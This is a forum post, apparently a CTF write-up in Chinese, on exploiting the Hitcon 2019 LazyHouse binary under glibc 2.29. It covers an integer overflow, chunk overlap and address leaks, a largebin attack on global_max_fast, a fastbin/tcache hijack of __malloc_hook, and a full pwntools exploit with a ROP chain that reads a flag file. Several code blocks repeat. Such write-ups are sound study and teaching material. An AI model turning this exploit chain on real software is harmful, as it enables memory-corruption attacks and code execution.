首页
社区
课程
招聘
Hitcon_CTF_2019_LazyHouse
发表于: 2020-10-3 11:02 4215

Hitcon_CTF_2019_LazyHouse

2020-10-3 11:02
4215

实际上我看了一下2.29下的源码,在插入时利用的时候与低版本相比似乎源代码上并没有什么区别

这个搞了一个小demo来理解一下:

你看这里,要求 size>127 && 218*size <= 116630

那么等价于要求:size>127 && size <=535

然后你会发现,实际上我们的 money 不是无限的。但是如果我们将size设置成一个很大的值。让 218*size 发生溢出(size是无符号整型),那么第二个if也会被pass掉此时global_node[index].price会被设置成一个极大的值,其实就是对应房子的价格。此时如果我们在调用delete函数卖掉房子,那么money就会被加回来达到一个极大值,从而实现我们几乎有无限多的钱可以购买house

64位unsigned int大小范围内:[0 , 2^64 -1],那么:我们让size*218>2^64 -1就可以溢出了

此时我们的money已经成为了一个极大值。我们几乎可以随便买房子orz。

一旦涉及到高版本的overlap的问题,看起来是后向合并用的比较多

首先我们申请chunk排布如下:

之后我们填满大小为0x250的tcachebin。

首先我们edit chunk1,向下溢出劫持chunk2的size(变成0x781)使得chunk2 --> chunk4全部合并overlap掉,此时free掉chunk2,他们三个一起进入unsortedbin,大小0x781

然后我们重新add大小0x338的回来,此时造成chunk3的一部分被overlap了,如下:

此时我们再add(0x600),那么切割剩余的lastremainder会被放入largebin中,并且放上nexsize与fd、bk指针,由于其实我们只free了chunk2,那么此时show一下chunk3就同时获得了libc与heap地址

我们free chunk3然后再add回来,此时就可以劫持bk_nextsize指针了。

触发largebin attack任意写条件如下:

之后add一次触发一下切割。此时出发了largebin attack任意写,使得evil_addr上写入了chunk地址(一个大数)

global_max_fast已经变成了极大值,如果我们再次free大小为0x250的,由于tcache已满且fastbin变大,那么他会被挂在main_arena+296的位置(此时这里被变成了fastbin),基于这个我们可以做fastbin attack

由于已经劫持了global_max_fast,此时我们free出的0x250大小的chunk会被挂在main_arena+296上。

我们free大小为0x250的chunk3,然后通过edit chunk2进行溢出,劫持在evil fastbin(main_arena+296)中的chunk3的fd指针指向tcache_pthread_struct,准备劫持tcache

add一次0x250的chunk回来,同时在add的时候把orw的rop chains布置到堆上去。

然后将tcahce_pthread_struct申请回来,劫持大小为0x220的对应tcache_entry指针指向__malloc_hook,接下来如果我们再malloc(0x220)就可以劫持__malloc_hook了。

本道题中,calloc调用如下:chunk_addr = (char *)calloc(1uLL, size);

首先看一下calloc反汇编出来的:

再向下进行:

直接调用了__malloc_hook:

至此,本题的利用到此结束。

https://blog.csdn.net/weixin_34268310/article/details/91571229

https://blog.csdn.net/qq_23066945/article/details/103070322

http://blog.eonew.cn/archives/1263#LazyHouse

/* place chunk in bin */
 
if (in_smallbin_range (size))
  {
    victim_index = smallbin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
  }
else  //当要插入的不是smallbin大小而是largebin大小
  {
    victim_index = largebin_index (size); //根据size获取对应的largebin index
    bck = bin_at (av, victim_index);      //拿对应largebin index的表头
    fwd = bck->fd;                        //对应largebin index的前一个表头             
 
    /* maintain large bins in sorted order */
    //当此时largebin不为空时
    if (fwd != bck)   
      {
        /* Or with inuse bit to speed comparisons */
        size |= PREV_INUSE;
        /* if smaller than smallest, bypass loop below */
        assert (chunk_main_arena (bck->bk));
        if ((unsigned long) (size)
    < (unsigned long) chunksize_nomask (bck->bk))//要插入的chunk的size小于最小的,那么他即将成为新的表头,并且是最小的
          {
            //bck是对应的largebin index表头
            //fwd是对应的largebin index的前一个表头
            fwd = bck;
            bck = bck->bk;
            //nextsize成链
            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          }
        else//如果不是最小的,那么说明就要插到中间
          {
            assert (chunk_main_arena (fwd));
            //while负责找到此时largebin中第一个比它大于或等于的
            while ((unsigned long) size < chunksize_nomask (fwd))
              {
                fwd = fwd->fd_nextsize;
                      assert (chunk_main_arena (fwd));
              }
 
            if ((unsigned long) size//如果是等于
    == (unsigned long) chunksize_nomask (fwd))
              /* Always insert in the second position.  */
              fwd = fwd->fd;        //直接插到后面,不用改nextsize指针了
            else
              {                     //如果不是等于而是大于
                //需要做nextsize成链
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
              }
            bck = fwd->bk;
          }
      }
    //当largebin为空时
    else
      victim->fd_nextsize = victim->bk_nextsize = victim;
  }
 
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/* place chunk in bin */
 
if (in_smallbin_range (size))
  {
    victim_index = smallbin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
  }
else  //当要插入的不是smallbin大小而是largebin大小
  {
    victim_index = largebin_index (size); //根据size获取对应的largebin index
    bck = bin_at (av, victim_index);      //拿对应largebin index的表头
    fwd = bck->fd;                        //对应largebin index的前一个表头             
 
    /* maintain large bins in sorted order */
    //当此时largebin不为空时
    if (fwd != bck)   
      {
        /* Or with inuse bit to speed comparisons */
        size |= PREV_INUSE;
        /* if smaller than smallest, bypass loop below */
        assert (chunk_main_arena (bck->bk));
        if ((unsigned long) (size)
    < (unsigned long) chunksize_nomask (bck->bk))//要插入的chunk的size小于最小的,那么他即将成为新的表头,并且是最小的
          {
            //bck是对应的largebin index表头
            //fwd是对应的largebin index的前一个表头
            fwd = bck;
            bck = bck->bk;
            //nextsize成链
            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          }
        else//如果不是最小的,那么说明就要插到中间
          {
            assert (chunk_main_arena (fwd));
            //while负责找到此时largebin中第一个比它大于或等于的
            while ((unsigned long) size < chunksize_nomask (fwd))
              {
                fwd = fwd->fd_nextsize;
                      assert (chunk_main_arena (fwd));
              }
 
            if ((unsigned long) size//如果是等于
    == (unsigned long) chunksize_nomask (fwd))
              /* Always insert in the second position.  */
              fwd = fwd->fd;        //直接插到后面,不用改nextsize指针了
            else
              {                     //如果不是等于而是大于
                //需要做nextsize成链
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
              }
            bck = fwd->bk;
          }
      }
    //当largebin为空时
    else
      victim->fd_nextsize = victim->bk_nextsize = victim;
  }
 
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
 
1 #include <stdio.h>
 2 #include <stdlib.h>
 3
 4 size_t buf[0x10];   // buf is in .bss
 5 int main()
 6 {
 7     size_t *ptr,*ptr2, *ptr3;
 8     setbuf(stdout, NULL);
 9     setbuf(stdin,NULL);
10     setbuf(stderr,NULL);
11     printf("buf addr:%p\n",buf);
12
13     ptr = malloc(0x438);
14
15     malloc(0x18);
16     ptr2 = malloc(0x448);
17     malloc(0x18);
18     free(ptr);
19     // put ptr intolarge bin
20     malloc(0x600);
21
22     free(ptr2);
23     printf("ptr in largebin : %p\n",ptr);
24
25     puts("set largebin chunk's fd_nextsize = NULL");
26     ptr[2] = 0;
27     puts("set largebin chunk's bk_nextsize = buf");
28     ptr[3] = (size_t)&buf[0];
29     getchar();
30     printf("Original buf[4]:0x%lx\n", buf[4]);
31     ptr3 = malloc(0x68);
32     printf("After largebin attack( malloc(0x68) )\nbuf[4]:0x%lx\n", buf[4]);
33
34
35     printf("Arbitrary write trigger!!!!\n");
36     return 0;
37 }
1 #include <stdio.h>
 2 #include <stdlib.h>
 3
 4 size_t buf[0x10];   // buf is in .bss
 5 int main()
 6 {
 7     size_t *ptr,*ptr2, *ptr3;
 8     setbuf(stdout, NULL);
 9     setbuf(stdin,NULL);
10     setbuf(stderr,NULL);
11     printf("buf addr:%p\n",buf);
12
13     ptr = malloc(0x438);
14
15     malloc(0x18);
16     ptr2 = malloc(0x448);
17     malloc(0x18);
18     free(ptr);
19     // put ptr intolarge bin
20     malloc(0x600);
21
22     free(ptr2);
23     printf("ptr in largebin : %p\n",ptr);
24
25     puts("set largebin chunk's fd_nextsize = NULL");
26     ptr[2] = 0;
27     puts("set largebin chunk's bk_nextsize = buf");
28     ptr[3] = (size_t)&buf[0];
29     getchar();
30     printf("Original buf[4]:0x%lx\n", buf[4]);
31     ptr3 = malloc(0x68);
32     printf("After largebin attack( malloc(0x68) )\nbuf[4]:0x%lx\n", buf[4]);
33
34
35     printf("Arbitrary write trigger!!!!\n");
36     return 0;
37 }
 
 
 
 
36 def uint_overflow():
37     sal(cho,'1')
38     money = ((2**64-1)/218) + 1 # unsigned int overflow
39     sal(ind,'0')
40     sal(siz,str(money))
41     sell(0)
36 def uint_overflow():
37     sal(cho,'1')
38     money = ((2**64-1)/218) + 1 # unsigned int overflow
39     sal(ind,'0')
40     sal(siz,str(money))
41     sell(0)
pwndbg> p /x 0x4b27ed3604b445fe
$1 = 0x4b27ed3604b445fe
 
pwndbg> p 0x4b27ed3604b445fe
$2 = 5415557893199250942
pwndbg> p /x 0x4b27ed3604b445fe
$1 = 0x4b27ed3604b445fe
 
pwndbg> p 0x4b27ed3604b445fe
$2 = 5415557893199250942
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
# encoding=utf-8
# echo "flag{ScUpax0s_lazyhouse} > ./flag"
from pwn import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/usr/lib/x86_64-linux-gnu/libc-2.29.so"
elf_path = "./lazyhouse"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='Your choice:'      # choice提示语
siz='Size:'     # size输入提示语
con=''         # content输入提示语
ind='Index:'      # index输入提示语
edi=''          # edit输入提示语
mon = 'Your money:'
pri = 'Price:'
hou = 'House:'
def uint_overflow():
    sal(cho,'1')
    money = ((2**64-1)/218) + 1 # unsigned int overflow
    sal(ind,'0')
    sal(siz,str(money))
    sell(0)
def add(index,size,content='',c='1'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(size))
    sal(hou,content)
 
def sell(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='4'):
    sal(cho,c)
    sal(ind,str(index))
    sa(hou,content)
def call_malloc(content='',c='5'):
    # malloc(0x217)
    sal(cho,c)
    sal(hou,content)
 
 
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
 
    # trigger imul overflow to get infinite money
    uint_overflow()
 
    # chunk overlap
    add(0, 0x88, 'chunk1'# free
    add(1, 0x248, 'chunk2') # overlap
    add(2, 0x248, 'chunk3') # overlap
    add(6, 0x248, 'chunk4') # overlap
    add(3, 0x88, 'chunk5')
    add(7, 0x88, 'chunk6')
    add(4, 0x448, 'chunk7')
 
    for i in range(7):
        add(5,0x248,'chunk5')
        sell(5)
    # Leak Libc and Heap address
    edit(0,'a'*0x80+p64(0)+p64(0x781)) # overlap:chunk1 -> chunk3
    sell(1)
    add(1,0x338,'b'*0x240+p64(0)+p64(0x251)) # add back #1 and partial #2 chunk
    add(5,0x600,'chunk5')   # put the remainder(0x780-0x340=0x440) into largebin directly.
 
    show(2) # now partial chunk2 in largebin
    libc.address = u64(ru("\x7f")[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-1120-0x10 # fd
    r(2)
    success("libc:"+hex(libc.address))
    r(8)    # bk
    heap = u64(r(8))-0x620    # fd_nextsize point to itself
    success("heap:"+hex(heap))
 
    # LargeBin Attack
    sell(2) # put chunk2 into unsortedbin(because tcahce is FULL)
    global_max_fast = libc.address+0x1e7600
    fd = bk = libc.address+0x1e50a0
    fd_nextsize = 0
    bk_nextsize = global_max_fast-0x20
    add(2,0x248,'\x00'*0xe8+p64(0x441)+p64(fd)+p64(bk)+p64(fd_nextsize)+p64(bk_nextsize))   # hijack bk_nextsize to global max fast
    sell(4)         # put chunk7 (0x450) into unsortedbin
    add(4,0x88,'largebin attack trigger!') # trigger largebin attack, Arbitrary Write to change global_max_fast a huge number.
 
    # Fastbin attack
    sell(4)
    sell(2)    # chunk2 now in main_arena+296, because fastbin exteneded
    edit(1,'\x00'*0x248+p64(0x251)+p64(heap)) # through edit to hijack chunk2's next pointer to hijack tcache_pthread_struct (both size are 0x250, so it is OK to bypass fastbin's size check)
 
 
 
    pop_rdi = 0x0000000000026542+libc.address
    pop_rsi = 0x0000000000026f9e+libc.address
    pop_rdx = 0x000000000012bda6+libc.address
    syscall = 0x00000000000cf6c5+libc.address
    pop_rax = 0x0000000000047cf8+libc.address
    flag_str_addr = heap+0x540+0x100
    flag_addr = heap+0x540
    # open -> read -> write
    orw = flat([
        0,
        pop_rdi,
        flag_str_addr,
        pop_rsi,
        0,
        pop_rax,
        2,
        syscall,
        # open("./flag",0);
 
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx,
        0x100,
        pop_rax,
        0,
        syscall,
        # read(3,flag_addr,0x100)
 
        pop_rdi,
        1,
        pop_rsi,
        flag_addr,
        pop_rdx,
        0x100,
        pop_rax,
        1,
        syscall,
        # write(1,flag_addr,0x100)
 
        pop_rdi,
        0,
        pop_rax,
        231,
        syscall
])
 
    # now in evil Fastbin(main_arena+296):
    # evil_Fastbin(main_arena+296) --> chunk2 --> tcache_pthread_struct
 
    add(2,0x248,orw.ljust(0x100,'\x00')+'./flag\x00') # put your rop chains into chunk2, and then the tcache_pthread_struct will be the chunk in your evil Fastbin(main_arena+296)
 
    leave_ret = libc.address+0x0000000000058373
    success("__malloc_hook:"+hex(libc.sym['__malloc_hook']))
    add(4,0x248,'\0'*0x40+p64(0)*0x20+p64(libc.sym['__malloc_hook']))   # get tcache_pthread_struct back, and set (0x220)tcache_entry[32] --> malloc_hook
    call_malloc(p64(leave_ret))             # now malloc_hook = addr of leave;ret
    success("rop target:"+str(heap+0x540))   
    sell(4)
 
    io.sendafter('Your choice: ', '1\0'.ljust(0x20, '0'))
    io.sendlineafter('Index:', str(4))
 
    io.sendlineafter('Size:', str(heap + 0x540))
 
    shell()  
 
 
exp()
# encoding=utf-8
# echo "flag{ScUpax0s_lazyhouse} > ./flag"
from pwn import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//